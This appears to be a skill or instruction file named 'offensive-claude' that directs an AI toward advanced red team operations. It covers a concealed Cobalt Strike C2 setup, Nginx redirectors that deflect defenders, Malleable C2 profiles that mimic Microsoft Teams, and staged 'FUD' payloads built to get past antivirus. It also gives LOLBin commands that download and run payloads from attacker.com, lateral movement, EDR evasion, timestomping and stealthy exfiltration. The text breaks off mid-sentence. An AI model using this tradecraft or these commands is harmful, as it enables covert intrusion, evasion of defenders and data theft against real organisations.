offensive-claude

Advanced Red Team Operations

When to Activate

• Planning advanced red team engagements
• Designing C2 infrastructure with OPSEC
• Understanding APT TTPs and operational security
• Long-term persistent access scenarios

C2 Infrastructure Design

Redirectors (Never Expose Team Server Directly)

Rule: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface.

# Cobalt Strike team server (bind locally)
./TeamServerImage -Dcobaltstrike.server_port=50050 \
  -Dcobaltstrike.server_bindto=127.0.0.1 \
  -Djavax.net.ssl.keyStore=./cobaltstrike.store \
  teamserver 127.0.0.1 <password>

# Tunnel via websocat (CStrike uses raw TCP, smuggle in WebSocket)
websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 &

# Cloudflare tunnel (or ngrok)
cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate
# Or: named tunnel via Zero Trust → point to domain + UUID path

# On operator machine:
websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/<uuid> &
# Connect CStrike client to 127.0.0.1:2222

Benefits:

• Team server never exposed to internet scanning (Shodan, Censys)
• Cloudflare/CDN provides high-reputation front
• Easy to rotate infrastructure — just change tunnel endpoint

Smart Redirectors (Filter Blue Team)

# Nginx redirector with filtering
server {
    listen 443 ssl;
    server_name legit-looking.com;
    
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    
    # Only forward traffic matching Malleable C2 profile
    location /api/v2/session {
        # Check custom header (beacon identifier)
        if ($http_x_session_id != "valid-beacon-id") {
            return 301 https://microsoft.com$request_uri;
        }
        
        # Check User-Agent matches profile
        if ($http_user_agent !~* "Mozilla/5.0.*Teams") {
            return 301 https://microsoft.com$request_uri;
        }
        
        # Forward to team server
        proxy_pass https://127.0.0.1:8443;
        proxy_ssl_verify off;
    }
    
    # Deflect all other traffic to legitimate site
    location / {
        return 301 https://microsoft.com$request_uri;
    }
}

Malleable C2 Profiles

NEVER use default profiles — always customize:

# Disable staging (unless absolutely necessary)
set host_stage "false";

# Memory obfuscation
set sleep_mask "true";   # Encrypt heap while sleeping
set obfuscate "true";    # Avoid generic memory signatures

# Mimic legitimate traffic (Microsoft Teams example)
http-get {
    set uri "/api/v2/users/presence";
    
    client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Teams/1.5.00.32283";
        header "Accept" "application/json";
        
        metadata {
            base64url;
            prepend "session_id=";
            header "Cookie";
        }
    }
    
    server {
        header "Content-Type" "application/json";
        header "Server" "Microsoft-IIS/10.0";
        
        output {
            base64url;
            prepend "{\"status\":\"available\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

# Certificate OPSEC
https-certificate {
    set keystore "legitimate-cert.store";
    set password "password";
}

Profile Tips:

• Clone real traffic (Teams, Slack, O365, Azure API)
• Match URIs, headers, User-Agents exactly
• Use valid TLS certificates (Let's Encrypt or purchased)
• If behind Cloudflare tunnel, TLS terminates there — self-signed OK

Infrastructure Segregation (Tiered Approach)

Tier 1: Phishing/Delivery (High-reputation, short-lived)
├── Purpose: Get initial payload to target
├── Lifespan: 1-2 weeks (burn after phishing campaign)
├── Domain: Aged 2+ weeks, legitimate category, SPF/DKIM/DMARC
└── Once flagged → burned, move to Tier 2

Tier 2: Interactive C2 (Short-haul, active operations)
├── Purpose: Hands-on-keyboard work
├── Lifespan: Duration of active engagement
├── Protocol: HTTP/S, high bandwidth
└── Higher detection risk due to frequent traffic

Tier 3: Long-haul C2 (Persistence, backup)
├── Purpose: Respawn Tier 2 access if burned
├── Lifespan: Months (low and slow)
├── Protocol: DNS, ICMP, or other covert channel
├── Beacon: Once per day/week
└── NEVER run active commands through this tier

Advanced: Use different C2 frameworks per tier (e.g., lightweight custom implant for Tier 3, Cobalt Strike for Tier 2).

Staged Payload Architecture

Stage 0: Loader (<30KB, FUD)
├── Format: NOT .exe (use .dll sideload, .hta, .lnk+script, ISO container)
├── Job: Download/extract/inject Stage 1 ONLY
├── Must bypass: Email gateway + endpoint AV
└── Self-contained, no external dependencies

Stage 1: Minimal Implant (Lightweight C2)
├── Commands: ls, whoami, pwd, download, upload, execute (5-6 total)
├── Persistence: Registry, scheduled task
├── FUD: May touch disk
├── Purpose: Recon and deploy Stage 2 after assessment
└── Redundancy: Multiple protocols (HTTPS + DNS fallback)

Stage 2: Full C2 (Cobalt Strike, Sliver, Havoc)
├── Full post-exploitation capability
├── In-memory ONLY (never written to disk)
├── Deployed after: AV/EDR killed or strong foothold established
├── Replace Stage 1 persistence with Stage 2
└── Most signatured — only deploy when safe

Key Principle: Attack for persistence, not command execution. Every stage should be redundant.

Living Off the Land (LOLBins)

# Download
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe
bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\temp\payload.exe

# Execution
rundll32 payload.dll,EntryPoint
mshta javascript:a=GetObject("script:http://attacker.com/payload.sct")
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
wmic process call create "payload.exe"

# Lateral movement
wmic /node:TARGET process call create "cmd /c payload"
winrs -r:TARGET cmd

# Avoid: powershell.exe -Command [...], rundll32.exe, direct API calls
# Prefer: LOLBins, COM objects, WMI

Blacklist TTPs (avoid for better OPSEC):

• powershell.exe -Command (heavily monitored)
• rundll32.exe with suspicious DLLs
• psexec (creates service installation artifacts — Event ID 7045)
• Direct mimikatz.exe to disk

Prefer:

• WinRM over SMB service creation
• In-memory Mimikatz via sleep-masked beacon
• Alternative credential dumping (comsvcs.dll MiniDump, though also watched)

OPSEC Discipline

General Rules

• Encryption everywhere — even internal traffic (one breach exposed cleartext creds on local network)
• Two beacon types:
• Long-haul: DNS/covert, sleeps a lot, backup/persistence
• Short-haul: HTTP/S, active operations
• SMB listeners: Machines B, C, D relay traffic to machine A (short-haul beacon) — much stealthier
• Jitter and sleep: NEVER 0 sleep. Use high jitter (e.g., sleep 60s, jitter 37%) to avoid predictable intervals
• Kill dates: Always set on beacons (auto-destruct after engagement window)
• Timestomping: Match creation/modification timestamps of legitimate files in same directory

C2 Traffic Filtering

• Dumb redirector: iptables/websocat forwarding → easily fingerprinted
• Smart redirector: Nginx/Apache with rules:
• Filter: Only forward if User-Agent + URI + custom header match profile
• Deflect: Proxy pass to legitimate site (Microsoft, Amazon) if no match
• Shodan/blue team scanners see legitimate site, not team server

PPID Spoofing

• Many EDRs flag suspicious parent-child relationships (winword.exe → powershell.exe)
• Malleable C2 profile: spawn processes from explorer.exe or other legitimate parents
• Most AVs stop tracking after 2 generations; EDRs: aim for 3 generations

Data Exfiltration

# Stealthy methods:
# - DNS tunneling (slow but blends in)
# - HTTPS to legitimate services (paste sites, cloud storage, GitHub)
# - Steganography (hide data in images/documents)
# - Chunked transfer over